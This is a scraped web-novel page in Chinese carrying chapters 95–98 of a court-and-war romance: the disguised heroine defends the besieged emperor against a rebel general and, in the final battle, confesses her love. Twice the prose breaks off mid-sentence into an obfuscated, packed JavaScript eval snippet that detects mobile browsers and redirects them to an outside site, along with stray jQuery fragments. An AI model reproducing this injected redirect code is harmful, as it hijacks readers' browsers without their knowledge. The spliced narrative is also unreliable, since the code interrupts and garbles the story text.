姜六航应道:“是。”心里忍不住翻来覆去琢磨着这话,从内容到语气。 是纯粹的关心呢,还是怀疑她独自出行的试探? 可惜面前的人脸被遮住,不能由神色判断,而那话说得平淡,其中不含什么额外的情绪,姜六航仔细品味,也分辨不出结果。 说这几句话的功夫,冯简提着一个砍了山上树木制成的简易木桶奔过来:“姜指挥,水来了!” 姜六航也怕中毒过深,连忙蹲到放下的木桶旁准备洗脸,手放到水里,发现还有两个人在旁边站着,她抬头道:“皇上,您刚才是要去哪儿,被臣耽搁了吧?臣没事了,您去吧。” 秦信仍然站着没动,声音低沉地道:“快洗。” “……是。” 姜六航用手捧着水细细清洗,洗了好几遍,直到把桶里的水都用完了。在她起身后,秦信转身往洞内走去,冯简招呼她:“姜指挥,走吧。” 姜六航和冯简跟在秦信后面,并排走着,诧异地悄声问他:“冯统领,皇上不是要出去吗?怎么转回了?” 冯简也压低声音回道:“皇上听说姜指挥一个人出去,不放心,正要去找你,正好就碰见了。”既然找到了人,当然回去了。 姜六航脚步顿了一下才又重新跟上。她察觉到,今天在县衙议事后,大哥对她的态度产生了微妙变化,分明是又起了疑心。她不明白,那么多“铁证”摆在面前,还经过了和尚大师的灵魂确认,大哥怎还会不理智地被感觉左右?在她的认知里,大哥处事向来利索干脆,一旦认定或决断后就坚定不移,不该是这样的。 —— 这晚姜六航只睡了两个时辰,第二天起来,脸上、脖子一片刺痒,伸手摸去,触到满手的细小疙瘩。 这是草的毒性发作了,虽然她及时地清洗,却免不了起疹子。刺痒在可忍受的范围内,只是有些不雅观。 姜六航顶着一张遍布红疹的脸,匆匆去安排布置防线,路上也见到一些同样不小心沾染到那些草叶以致身上起了疹子的军士,她混在其中,倒也不会引起人多想。 中午时,悬刃隘的守兵搜到了他们所在的山头。山洞内安静无声,空气紧绷,这一刻,所有的人都在暗暗祈祷,惟愿多捱些时间。 至少要捱到后天,二月初六的中午,他们才能搏得一线生机。 恐怕被外面搜寻的兵士察觉,所有会弄出响动的工作之前都抓紧时间完成了,现在姜六航从第二道防线开始一一地检查过去,每一处安排多少人,怎么打,朝哪里撤退,和谁汇合,遇到不同情况怎么应对,等等、等等,分别和军士们说明。 时间在紧张中流逝。 初四平安度过。 初五平安度过。 初六凌晨,入口的巨石被从外轰然掀开。 96. 第 96 章 山洞内霎时沸腾起来,刀剑队、弓箭队、盾牌队首先和对方开战。 在发现山洞内马匹反而碍事后,叛兵们全部弃马不用,持着刀剑蜂拥而上,一边发出震天的叫喊:“冲啊!” 后面一个将领模样的人大声嘶喊:“一个人头十两银子!五个人头官升一级!” 叛兵们气势大涨。 但被狭窄的地形限制,他们一下冲不上来太多人,只能一批批地向前。 面对十倍于己的敌兵,御林军悍然不惧,按照事先的部署,先是用弓箭收割走一波性命,待叛兵逼到近前,刀剑队和盾牌队迎上,互相配合,一时竟使得叛兵寸步难进。 将领们在后头指挥兵士连绵不断地上前,打算用人海战术拖垮御林军。 这确实是他们的巨大优势,他们可以不在乎兵士的性命,御林军却只有三千人,牺牲一个就少一个。 半个时辰后,御林军后撤,到下一道防线。 拉锯战重又开始。 就这样,御林军一分一秒地尽力拖延,一丈一寸地坚守。 到中午时,叛兵忽然起了一阵骚动,队伍中许多人惨叫着倒下,一边翻滚,一边用手在身上一片片的溃乱红肿上胡乱抓着,直抓得血肉模糊仍不停止,似乎恨不得要把那块肉剐下来。 目睹者无不心惊。 苏用让兵士把这些人抬到后方,一清点,竟有千数之众。 无缘无故地损失这些兵力,虽在三万人的基数中算不上很多,却让苏用气得简直要呕血。开战以来,遇到激烈反抗都在他的预料之中,可进展如此不顺,大大出乎他的意料。 本计划一天解决,看来要两天了。 战斗一直持续到晚上。 此时,叛兵们不熟悉地形的劣势显示出来了。虽有火把照着,到底不如白天看得清楚,再说,真到了激斗之时,哪还顾得上举着火把?很多时候都是摸黑行动。 前面的人跑就跟着跑,前面的人挥剑就跟着挥剑。 这就导致他们踩中了很多陷阱。 “快退!快……”前头的兵士声嘶力竭地大喊,喊声未绝,已被砍翻在地。 前面的通道陡然变窄,只能容八九个人并排而行,御林军守在十来米长的窄道出口,切萝卜般地一刀一个。后面的人不知情,还在拼命往前冲,使得前面的人站都站不稳,哪还有还手之力?其实若是白天,叛兵不至如此被动,偏偏在此时,这个窄道被最大限度地利用,一时间叛兵死伤惨重,道口堆满尸体。御林军唯恐堵住了叛兵前进的路,分出几个人,贴心地把尸体快速拖走,好让叛兵能继续往窄道里冲。 两刻钟后,叛兵才调整好队形,终于冲过窄道。可刚踏入宽阔地带,还没等他们反应过来,迎面一阵箭雨呼啸而至,又是一大批人倒地。原来不远处有几堵石墙,形成天然的屏障,御林军躲在后面,趁着叛兵立足未稳,有条不紊地往通道口轮射。夜间本不利射箭,但因此地奇特的地形,御林军并不需要仔细瞄准人,只需对着那口子射去,必不落空。 待叛兵仗着人多,不计伤亡地冲到近前,御林军却不恋战,转身就跑。叛军紧追在后面,一脚踏出,却踩了个空,咕噜噜地滚了下去。后面跟着的人收不住脚,像下饺子似的,一群群地接着滚下。底下显然布有利器,兵士们哀号不绝。 好不容易稳定下来,叛兵举着火把,这才看清眼前形势。此处道路拐向右边,而前方是一个深沟。黑暗中来不及细察,御林军又有意误导,致使叛兵吃了一个大亏,伤亡无数。 在将领的催促下,兵士继续向前,到了一处坡下,从上滚下无数横木和石头,砸得兵士们哭爹喊娘。 苏用传令休整,天明再战。 至此,一整天的鏖战后,御林军才得了一点休息时间,抓紧喝水吃饭,轮流睡觉。 第二天凌晨,新一轮的战斗又开始。 苏用决心这天擒下皇帝,攻势愈加猛烈,一波又一波的攻击毫不停歇。御林军被迫疲劳应战,凭着一股血勇之气支撑。 到晚间,苏用不得不接受计划落空的现实,歇兵休整。第三天,叛兵依旧没获得最终的胜利,但到第四天凌晨时,他们终于把御林军逼退到了洞内的最后一道防线。 “冲啊!他们没退路了!”叛兵将领大声激励兵士,“一个人头二十两银子!四个人头官升一级!” 兵士们已经能望见洞口的天光,兴奋地嗷嗷叫着冲过去。 半个时辰后,御林军全部退到洞外。 就在叛兵要追出去的时候,他们听见外面一声大喝:“拉!”紧接着,顶上传来奇异声响,他们不由得抬头望去,却见洞口六七根粗大石柱的顶端套着绳索,被拉得绷紧,发出令人牙酸的“嘎吱”声,随后几声巨响,石柱从底座断裂,倾倒下来。 苏用在后见状,急喊:“快退!” 可是迟了,石柱带着雷霆万钧之势砸向地面,瞬间引发了连锁坍塌,一时间地动山摇,巨石如雨点般落下。 漫天灰尘散尽后,苏用发现,洞口被堵得严严实实,许多来不及躲开的兵士被埋在了岩石下。 “锵!”苏用恨恨地朝岩石上劈了一刀。 三天! 到此时,整整三天,未能攻下御林军。 如此精密、严谨、多变灵活的防守,他想不出,御林军中谁有这样的本事。 冯简?管锋?沈以贵? 都不过是有勇无谋的匹夫,在他三万兵的猛攻下,绝撑不过一天。 不该是他们。 “挖!”他抛开思绪,咬着牙,厉声喝令。 这绝对是御林军的最后挣扎了,最多半天,他就能挖通道路,秦信再无处可逃。 —— 洞外,幸存的御林军全部聚到了一起,利用这段时间休息,恢复体力。很快,他们将迎来一场前所未有的恶战。 军医在人群中穿梭,给伤员处理伤口。伤情较轻的军士凑在一起,互相包扎。 秦信一直在前线督战未曾歇息,这时也坐在石头上,接了冯简奉上的干粮,就着水吃下。 “皇上。”左卫将军满面灰尘,左胳膊上缠了一圈布,跑过来禀报道,“还能作战的有一千两百多人,姜指挥说,在崖前布阵。” “按姜指挥说的做,对阵时由她指挥。” “是。”左卫将军毫不迟疑地一口应下。 经过这三天和叛兵的交战,现在上到将官下到军士,所有人都对姜指挥佩服得五体投地。 那应变自如、把所有条件都利用到极致、精妙绝顶的防守,令人惊叹。许多人都在心中悄悄地想,即使衡王复生,亲自指挥这场战斗,也只能做到如此吧? 只是可惜,苏用发现这山洞太早了些。 “苏用多久可以把路挖通?”左卫将军喃喃道,不知是在自语,还是在问着人。 “大概午时之前。”一个沉哑的声音回答了他。 “啊。”左卫将军一阵失望,下意识看向皇帝。 皇帝却没看着他,而是朝向悬崖的方向。在那里,姜指挥正站在崖边,凝望着远方。 女子脸上结了血痂,完全遮盖住面容,看不出表情。她站立的姿态沉静,一动不动,不知在想些什么。 “是在思考怎么布阵吗?”左卫将军想着。 可是,小裴国公最早晚上才能到,而他们午时就会和苏用对上。大半天的时间,纵使姜指挥布阵之术出神入化,也挡不住了。 这一点,不止他,很多人都清醒地知道。 他们只能竭尽全力,战到最后一刻。 左卫将军正自脑子里翻江倒海,陡见皇上站了起来,朝姜指挥站着的地方走去,冯统领默默地跟在后面。 是去和姜指挥商议战事吧?左卫将军脑子里一闪念,随即也起身,去安排军士们待会儿的任务,前锋、左翼、右翼、后卫……都要分派清楚。 —— “姜指挥。” 姜六航回头,迎上一双凤眸,幽深不见底,闪烁着莫名的光。 “皇上。”她行礼。 秦信走到她身边,和她并立在崖前,目光落在那些被朝阳笼罩的树间嫩绿上。姜六航随着他的视线,也望向那些从山壁生出的虬枝。 “以前的事,姜指挥想起了多少?” 姜六航心中一凛,袖中的手悄然握紧,她定了定神,答道:“想起了一些。” “一些什么?”低沉的声音追问。 姜六航悄悄侧目看过去,身边的人面朝前方,目光仍然落在远方不知何处,侧脸线条紧绷,看不出什么情绪。 可是在此时,决战将至、生死未卜的紧张时刻问这些,本就不寻常。 大哥是认定今日逃不过一劫,才一定要问个清楚吗? 她呢?要如实以告吗? 如果今日难逃一死,两人都没了以后,那些隐瞒、那些苦衷还有什么意义?能在临死前,把两辈子才有的一次心动对着喜欢的人说出口,也少一些遗憾。 在这一刻,她想把多次的冲动付诸实施。 她想抱一抱大哥。 姜六航嘴唇颤动,正要不管不顾地揭开一切,手指却无意间隔着衣裳触到了一件硬物——哨子。 那天小灰飞走后就没了动静,至今不见方三带着人来救援。 可不到最后一刻,又怎知结局? 若是侥幸得生,而她又自爆了身份,日后体内毒性不能拔除,她离开之后,大哥会如何?她大费周章的一场死遁岂不是白忙一场? 汹涌的情绪如同撞上一堵坚实的墙,不得泄出,在胸口翻滚,直冲到嗓子眼,恍惚间尝到血腥的气味。 “都是些零碎的画面。”姜六航捏紧手指,涩声道。 “什么画面?” 身边人的目光转了过来,凝注在自己的脸上,满含审视和探究,姜六航倍感压力的同时,脑海里霎时不受控制地涌出一个念头:我现在的脸好丑! 别盯着看啊! 她可以坦然地以这张脸面对冯简等人,唯独面对大哥,却恨不得把这张脸藏起来,不让他看到那狼狈和丑陋。 今禾姐说,女为悦己者容,男子也一样。 她猛地想起那一年,大哥脸上涂了药膏,总是有意地避开她的目光。那时大哥的心情,和此时她的心情是一样吧? “臣小时候,藏在柜中,透过柜门的缝隙,看见闯进家中的流兵把母亲杀死了。好像从那以后,臣就不会说话,不敢见臣父之外的人。”姜六航问过魏枕书,不介意她把这些经历说出来,以取信于人,“臣父给臣戴上面具,带着臣走了很远很远,那里的人和中原的人长得不同,轮廓要深些,臣没那么害怕了,臣父带着臣在那里住了下来。” 身边人的目光始终定在她脸上,锐利得仿佛要透过皮肉,看清底下的灵魂。 “后来呢?就一直住在那里?中间有没有回过中原?” 姜六航咽下一口血气,硬着心肠道:“臣只有去年三月回中原的记忆。” 话音落下,周遭的空气都似乎凝固了。 姜六航清晰地看到,那双凤眸的眸底闪烁的光亮,像被风吹灭的烛火,倏地黯淡下去,沉沉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102656|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失望从里漫出来,转而化作一片荒凉。 她死死地握紧拳,指甲刺入掌心,引起一阵刺痛。深吸一口气,用尽全身力气压制下胸腔中翻涌的酸楚、悲伤、哀痛,姜六航仓促地转移话题,请示道:“皇上,叛兵不久就要攻来,臣……去布阵了?” 那目光又盯了她一会儿,带着最后一丝不肯消去的固执,姜六航垂着眼,笔直站着,努力不显出异样。 “去吧。” 终于,晦涩的语音道,充满疲惫。 姜六航被这声音勾得心口发疼,行了一礼,告辞离去。 眼眶发热,似要有热热的液体流出来。 这会是她和大哥在世上的最后交谈吗?如果那样,临死之时,她会不会后悔?后悔没有把喜欢说出口,后悔没有抱一抱大哥? 不,大战在前,姜六航,你不能这样软弱。 她狠狠地一闭眼,再睁开时,里面已摒弃了所有的情绪,只余磐石般的坚定,快步向前走去。 女子的背影融入军士之中,再也不见。秦信吐出一口气,手按上刺痛的太阳穴,问道:“冯简,你说,她说的是实话吗?” 冯简明白皇上话中的意思。 皇上又生了怀疑,疑心姜指挥是衡王。 太像了。 以前皇上怀疑,他只觉莫名其妙,和其他人一样,也觉得是皇上思念成狂。可是这几天,不止一次两次,他产生姜指挥和衡王神似的错觉。 但那终究只是错觉。 只是巧合。 或许如衡王、姜指挥那般出类拔萃的大才,在思考、布置战术时,身上总有一二相似的地方。 冯简把自己说服了,道:“皇上,姜丞相不是查过吗?姜指挥确实一直居住在北狄。”他顿了顿,又小心地补充了一句,“悟尘大师也探查过姜指挥的魂魄。” 半晌,秦信放下手,指尖无意识地捻动腕间的佛珠。 “人之将死,其言也善,这个时候也没有隐瞒的必要了,她应该不会说谎。”一声轻叹消散在空气中,“也罢,若她真是六航,我这时必当摧心裂肝、五内俱焚,哪能甘心?” —— 距离盘云县东山几十里外,九叠县,风雷帮,此时正人声鼎沸,盛况空前。 童府里外,从二月初一起,大摆宴席,接待四方江湖来客。到二月初九,童翼生辰的正日子这天,童府已聚集了数百武者,热热闹闹地为他贺寿。 童翼三十几岁,长得斯文白净,不像个江湖帮主,倒像是个书生。但即使以前没见过他的人,也知他十年前杀堂兄夺位的事迹,以及十年来牢牢掌控风雷帮,使其从一个不知名的小帮派,一跃而成为江湖上规模数一数二大帮的手段,丝毫不敢因外貌小瞧他。 童翼被簇拥在中间,周围一片恭贺之声。 “祝童帮主寿比南山!” “福如东海,大展宏图!” 童翼满面笑容地回应。 “帮主!”忽然有人跑进来,脸上满是喜色,“鬼手神医来给帮主贺寿了!” “你说谁?”童翼一愣,以为自己听错了。 “鬼手神医!”那人又响亮地说了一句。 屋内响起嘈杂的议论声。 “鬼手神医怎么来了?他从不主动与江湖中人交往的。” “没听说童帮主和鬼手神医有交情啊?” 童翼心中也是讶异无比,但这是大大的贵客,万不可怠慢,他连忙往外走,亲自去迎。还未走到门口,已有一人迎面过来。 身穿杏黄织金锦袍,头戴白玉冠,正是鬼手神医孙从庸。他远远地拱了一下手:“童帮主大寿,特来贺喜。” “不敢。”童翼受宠若惊,“神医能来,童某……” 孙从庸摆手打断他要出口的客气话:“我来,还有一件事。” 童翼顿时了然。他就说呢,他何时有这般大的脸面,劳动鬼手神医来给他贺寿。 “请问是何事?” “皇上微服私访到盘云县,悬刃隘守将苏用狼子野心,把皇上围困在盘云县外东山,此时危在旦夕。还请童帮主召集帮众,前去营救。” 屋内刹时一片哗然。 童翼瞳孔骤缩,瞬时脑中转过无数念头,最终打定主意,做出迟疑的样子道:“神医哪里得来的消息?莫不是弄错了?苏将军怎敢做出这样的事?”朝廷的事,江湖中人还是搅入的好。 “此事千真万确,我亲眼在东山看见的。” “神医想必不方便靠近,没见着皇上和苏将军本人吧?误会了也有可能。”童翼不紧不慢地道,“要不,神医稍候,童某先派人去打探一下消息?若真是皇上被围住了,我们自当义不容辞,立刻赶去相救。” 孙从庸看出了他的推脱,盯住他,冷声道:“童帮主,你曾应人,为她做一件事以报救命之恩,绝无二话,万死不辞。现在,我来替她讨要这个承诺,请你即刻前往东山援救皇上。” 童翼脸色微变:“我给了她一块令牌,凭令牌可要求我做一件事,令牌呢?” “埋在你家花园那棵最大的松树下,你派人去挖。” —— 在孙从庸说出这句话的时候,黄超正在九叠县城外纵马急驰,到前方岔道处停下,望见道旁一个汉子在砍柴,下了马过去问路。 “往这条路走。”汉子指着道,“再三里路就到了。” 黄超谢过后重又上路。 心思却飘远了。 今天二月初九,再一个月就是从庸的生辰,他在北狄过得怎样?把那……逆徒的病治好了吗? 97. 第 97 章 令牌很快被挖了来,童翼拿在手里,略一翻看,确定果真是那块他送人的令牌,再没多说一句废话,转向一个帮里的头领,肃声道:“立即召集所有帮众,带着武器,随我往盘云县东山。” “是!”那头领响亮地应了一声,快步而去。 “童帮主一诺千金,可敬可佩!”孙从庸赞了一句,转向屋内神色各异的武者,大声道,“诸位!皇上被困,今日去东山救援者,我孙从庸欠你们一个人情,随时可向我讨要!” 这话一出,屋里炸了。 鬼手神医的人情,那就是一道名副其实的保命符! 而且有风雷帮冲锋在前,他们只需跟着就是,将来若有什么纠葛,也自有风雷帮解决。 这里面许多人想得明白,苏用围剿皇帝,若是消息封锁严密,说不准还真能翻天,但现在事泄,不管局势如何发展,他绝对讨不了好。 朝中还有那么多将军和大人在呢,肯定会给皇帝报仇。 如此,他们跟着去救援,有百利而无一害。到时即使打不过,他们要脱身想必也不难。那些军士再是勇猛,也大多没有内力,拦不住他们这么多人。 想定后,一时众武者纷纷响应。 “王某义不容辞!” “加我一个!” “此等背君叛贼,人人得而诛之!” 群情汹涌,众武者一齐出得门来,浩浩荡荡地往盘云县的方向去。 在他们走后不久,黄超赶到了这里,对着冷冷清清的府宅,诧异不已。这时从街头走来一群人,为首的中年人穿着武士常见的装束,看到黄超,热情地笑道:“黄大侠,你是来给童帮主贺寿吗?” “是。”黄超点头,认得他是兰州飞燕侠邓飞石,奇怪地问道,“邓大侠,这里怎么没人?” “他们都去盘云县东山救援皇上了。” 见黄超一脸茫然,邓飞石简短地解释了一下,道:“我刚去客栈把带来的家仆都叫了来,他们都有些武功,能助一助阵。”又邀请黄超同行,“黄大侠,我们正要去东山,你要不要跟我们一起?” 黄超毫不犹豫:“皇上安葬黄某好友遗骨,于黄某有大恩,如今有难,自当赴汤蹈火,万死不辞!” “正是,有恩不报枉为人!皇上于邓某父子也有救命大恩,这次我就是舍了性命,也不许人伤皇上一丝一毫。”邓飞石说到这里,突地想起什么,看了黄超一眼,好心提醒他道,“鬼手神医也来了,黄大侠待会儿小心避开。” 黄超大惊:“他怎么来了?”不是说去北狄,两年才回来吗?这才不到一年。难道逆徒的病提前治好了?还是……那病在北狄不能治? 邓飞石误会了他这话的意思,以为他惊讶鬼手神医为何来给童帮主贺寿,道:“鬼手神医是来报信的。” 朝东山赶去的路上,邓飞石把今天鬼手神医来寿宴做的事说的话给黄超说了一遍。 黄超听着,总觉得不对劲。从庸从不是那样热心的性子,皇帝安葬允兄和真姐遗骨,若是顺手,他会帮帮皇帝,但许下那么多承诺,平添许多麻烦,怎么看,都不像从庸会做的事。 待救援事了,一定要找到从庸,看看到底怎么回事,还有那逆徒的病到底怎样了。 —— 在九叠县众人赶来的时候,姜六航正带着军士排阵。 八阵图本是天下防守最好的阵法,可惜苏用对这阵法太熟悉,己方的兵力又远远少于对方,如果用八阵图,最多只能拦住他们半个时辰。 好在这几年,除了赶路,偶尔摆摊卖艺,姜六航没什么其它的事做,于是把八阵图翻来覆去地研究了个透彻。一通百通,如今她已不拘泥于原有的变式,信手拈来,即可变幻出新的阵式。 只是军士们从前没有训练过这些变式,在对战之前,需要练习一下。姜六航不需要他们记住变幻,那千种万种的变幻,他们也不可能记住,她只要求他们能流畅地根据令旗行动,各队之间培养默契的配合。 她在石头搭成的高台上指挥,身在阵中的人只跟着指令动作,没有太大感觉,不远处站在秦信身后的冯简却是诧异非常。 “八阵图,变了好多。” “哦?”秦信对阵法不是很通,疑问地看向他。 “皇上,越是精妙的阵法,越是难以变动,只因牵一发而动全身,那些阵法早已到浑圆天成、严密合缝的境界,增一分则多,减一分则少,环环相扣,已达极致。若强行改动,非但无益,反而破坏原有平衡,使得阵法的威力大减。”冯简眼中闪动着激赏,“可经姜指挥改动的八阵图,运行起来毫无凝滞。” 秦信眸中幽深,目光投向高台上的女子:“比原来的八阵图威力大?” “至少不会差。最重要的是,苏用不熟悉这个八阵图。” “用这个八阵图,预计可以支撑多久?” “一个时辰应该没问题。”可小裴国公晚上才到,他们万万撑不到那时候。想到这里,冯简不由得脸上黯淡下来。 姜六航把阵法演练了三回就停下了,让军士们就地休息,随时准备应战。这时,冯简带着几个御林军走了过来,把手里的东西交给她。 “姜指挥,这是铠甲,你等会穿上。” “这是软甲,贴身穿着。” 又道:“这几位在战斗时跟在你身边,专职保护你。” 姜六航看了看那几个御林军,都是大哥身边的高手,不用问,定是大哥安排的。她没有推辞,只简单地道:“好。” 她站在高台上指挥,肯定是敌方的重点攻击目标,冷箭少不了。若是原来的八阵图,她没了还有人可以指挥,但这个八阵图,天下只有她一人可以调动。只要八阵图还在,她就不能倒下。 午时,随着一声巨响,洞口被打通,无数兵士从中涌出,和崖前严阵以待的八阵图对上。 苏用从正中兵士分开形成的一人宽的通道中走到前头,扫了崖前的御林军一眼,抬头望向阵后高台上身着铠甲,被几个军士严实护在中间的那人,缓缓眯起眼。 这应该就是布置下洞中防线的那人了。 他目光下移,落到眼前的阵法,嗤笑一声:“八阵图。” 黔驴技穷。 拿八阵图来对付他。也是,别的阵法更是不堪一击,八阵图好歹还能阻得一时。 但最多,也就半个时辰了。半个时辰之内,他必击溃此阵。 苏用正要喝令兵士冲杀上去,后方突然传来骚动,他蓦地转身,问:“怎么回事?” “苏将军!”一个将领神色仓惶地跑过来,“那头来了很多江湖人,我们兵力少,抵挡不住。” “轰隆——!”苏用脑中炸响,一刹时天旋地转,几乎站立不住。 事泄了! “苏将军,怎么办?” 在将领焦急的叫唤声中,苏用狠咬了一下牙,勉强定下心神。 开弓没有回头箭,现下不杀了皇帝,他绝无生路,杀了皇帝,或还有转圆的余地。 他瞪着眼,厉声道:“分五千人过去,务必给我顶住!”接着转回身,高高地举起手,嘶声大喊:“杀!” “杀!”兵士们齐声应和,万余人如黑云般直压过去,猛地撞上八阵图。 战斗,在这一刻打响。 杀声震天,如同滚雷般在山间回荡。箭矢破空的尖啸声、刀剑碰撞的铿锵声、兵士受伤的惨嚎声交织成一片人间炼狱。大地在无数脚步的践踏下颤抖,空气中弥漫开浓重的血腥味。 高台上,随着姜六航的指令,令旗挥动,阵型随之变换,死死地咬住叛兵,不让其前进一步。 兵士进入阵中不一会,苏用就发觉了异常。面前确实是八阵图,可却多了许多变化。他盯向高台上的指挥者,那人下令毫不迟疑,仿佛只是轻描淡写地一拨弄,就随心生出变化,挖掘出阵法的最大效力。 灵活如斯! 恐怖如斯! 这是从哪里出来的人物! 幸好,时间还充足。他们封锁了消息,明天之前,不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106689|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有军队来救驾。他有信心,即使分出了部分兵力,至多两个时辰,他就能攻破此阵。 一方猛烈攻击,一方坚守不退,战斗呈出胶着的局面。 一个时辰、两个时辰、三个时辰。 三个半时辰。 黑夜降临,崖前燃起点点火把。 姜六航冷汗浸透内衫,双腿已经没有知觉,全凭一股意志力站着。底下军士们一个个地倒下,她目光扫过,摒弃所有感情,一声声坚定得近乎冷酷的命令从口中发出。 忽然,一支冷箭穿透周边军士的护卫,直射向她的喉咙。 “当!” 一把剑格开了那箭,同时,姜六航的胳膊被人抓住,拉开了一步。 这一下突如其来,虚弱至极的姜六航差点倒下去,靠着那人的身子站稳,抬头看,才发现是大哥。 旁边,冯简持剑,关心地看过来。 姜六航都不知道两人何时上来的,此时,她正侧靠在大哥的胸前,他的鼻息轻轻拂过她的额头。 两人视线相触,却来不及说一句话,姜六航转目,望向底下,口中道:“巽位,前突。”说着的同时,她退开一步,离开了那具身体。 每一秒都那样漫长,姜六航盯着只剩数百军士拼命搏杀的八阵图,眼前一阵阵发黑。她感觉,自己要坚持不住了。 汗水从额头流下,她全神贯注盯着战局,无暇去擦。一只手臂从旁伸过来,快速地用棉布擦去快流入她眼睛的汗水。动作轻巧,角度掌握得正好,没遮住她的视线。 之后,每当汗水流下时,那人就及时地给她擦去。 突然,一队人马冲过防线,向高台冲过来。 所有的军士都在以一当十,没有多余的兵力来拦住这队人马了。他们跃上高台,分出一部分人缠住冯简等人,另有两个兵士挥刀向被护在中间的两人劈来。 姜六航看着那刀的来势,在她的眼中,那招式至少有七八个漏洞,她可以轻易地破解。 但她的身体反应不过来,只能眼看着那刀逼近。 就在刀刃即将触到脖颈时,一股大力把姜六航拉倒在地,避开了刀锋。那人也跟着她一起倒在了地上,两人的身体紧挨在一起。 一块深蓝色的手帕从那人手中飞出,擦着姜六航的脸颊飘落到地上。在手帕拂过鼻尖时,姜六航嗅到了那上面的汗水味。 她抬目,眼帘中映入一张冷峻的侧脸,凤目大睁,额上指头长的浅淡疤痕这时因为用力,颜色变深。 两把刀从上而下,直劈向地上两人。两人身上都穿着铠甲,难以刺入,所以这两把刀,对准的是两人的喉咙。 “锵!”秦信挥出的匕首被其中一把刀撞飞,虎口破裂,溅出鲜血。 两把刀带着森冷的死亡气息,直逼到眼前。 姜六航被那金属交击声震得耳中嗡嗡作响,外界的其它声音都听不到了。 可她的视觉前所未有地清晰。 姜六航从不知道,一眼可以看到那么多,仿佛她变成了上帝视角,在俯瞰着全场。所有人的动作、表情,像放慢动作似的,在她眼前呈现。 冯简目眦欲裂,张口大呼,往这边急扑。正和敌兵厮杀的一个军士猛地转身,大步跑过来,背后空门大开,被长剑划过,带起一股血泉。不止他,台上的所有军士都抛下敌手,向这边赶过来。 可是来不及了。 姜六航望向身边的人。 那人也侧目,向她望过来,平寂的眸中映出她的身影。 姜六航心中蓦然剧痛。 不甘心! 也许下一刻,裴佑就带着援兵来了,可是她和大哥却等不到了。 姜六航猛地伸手,紧紧抱住身边人。 甲胄相撞,发出一声脆响。 “大哥,我喜欢你!”她大声叫道。 她不知道,自己的声音被淹没在骤然而起的欢呼声中,她也没看到扑过来的冯简等人眼中浮起的惊愕。 抱住人后,她就晕了过去。 98. 第 98 章 刀光! 挟着冰寒的死亡气息,直劈过来! 不! 姜六航霍地睁开眼,猛地弹起身,锐利目光扫向周边,发现身处在一间充满女子风格的卧室里,里面摆设规整:两个一人高的衣柜、一架多宝阁、一张红漆梳妆台、两把圈椅、以及挂着淡青蚊帐的拔步床。 房间里散发着安全、温暖、宁静、松弛的气息。纱窗上映着柔和的日光,让人看着就心情舒朗。 脸上凉飕飕的,伸手一摸,触到一手药膏。再低头一看,原本盖在身上的被子因她坐起的动作滑至腿上,堆成一团。她身上的铠甲已经脱下,里衣也换了。 她没死? 被救了? 援兵及时赶到了? 大哥呢?也没事吧?现在哪里? 姜六航正要下床探查情况,一个四十来岁的女子进来,见姜六航坐在床上,惊喜地道:“姜指挥,你醒了?” 姜六航盯着她,身子稍稍松懈下来:“李婶?”到盘云县的那天晚上,她在县衙里睡了半夜,不过不是在这间房里,当时是这位李婶给她收拾的另外一间房。 李婶却没回应她,转身就往外跑,嘴里叫着:“冯统领!快禀报皇上,姜指挥醒了!” 这声喊让姜六航心里一松——大哥没事,但马上又想到昏过去前的事。 她说出来了! 对着大哥,亲口说出了自己的身份,说出了心意。 一时间,各种情绪搅合在一起,在胸口翻滚,让她一时半刻竟不能辨明,到底是慌张、无措,还是担忧、紧张,抑或是羞涩、期盼。 可能引起的震动,日后若是离开,可能引起的谣言,以及被野心家和阴谋家扯起旗子利用的后患……这些在脑海里只是一晃而过,姜六航的思绪不受控制地全部集中到大哥身上。 大哥知道了真相,会怎么想?怎么做? 她欺骗了大哥一次又一次,忍心看他那样痛苦却不坦白,大哥会不会恼她? 门外李婶“咚咚咚”的脚步声格外响亮,接着传来冯简的声音:“姜指挥醒了?” 姜六航一激灵,快速地下床,趿拉着床边的鞋子,小跑到门边,把李婶跑出去时顺手掩上的房门拉开一条缝,小心翼翼地往外探看。 李婶对着站在隔壁房外屋檐下的冯简满面笑容地道:“是啊,我一看见姜指挥醒了,就遵照吩咐,马上来禀报。” “好,我知道了,你去给姜指挥弄些吃食来。” 李婶答应着去了,冯简转身进屋。 大哥竟然就在隔壁,即刻就到! 姜六航心脏几乎要跳到嗓子眼,她看了看身上穿着的寝衣,目光一扫,见床头叠放着一套女子衣裳,顾不上多想是否为她准备,连忙奔过去,先穿了再说。 刚手忙脚乱地穿好,门外传来沉哑的声音:“姜指挥,我可以进来吗?” 大哥来了! 只是,姜指挥? 大哥为何还叫她“姜指挥”? 转念间姜六航明白了,大哥一向做事周全,她的身份公开定会引发震动,大哥应该是还没做好准备。 “请皇上进来。”出口的声音有点不稳,她深吸一口气。 门被推开,一道人影背光而立,高大的身躯在地面投下影子,幽黑的眸子紧盯着屋内站在床前的人,举步走过来。 他的步伐不是很急促,却带着一种无形的压迫。 姜六航不自觉地紧咬着嘴唇,观察着来人的神情,但他的脸和平日一样寂冷,除此外没有多余的情绪,看不出什么。 离姜六航三步外,他停下。 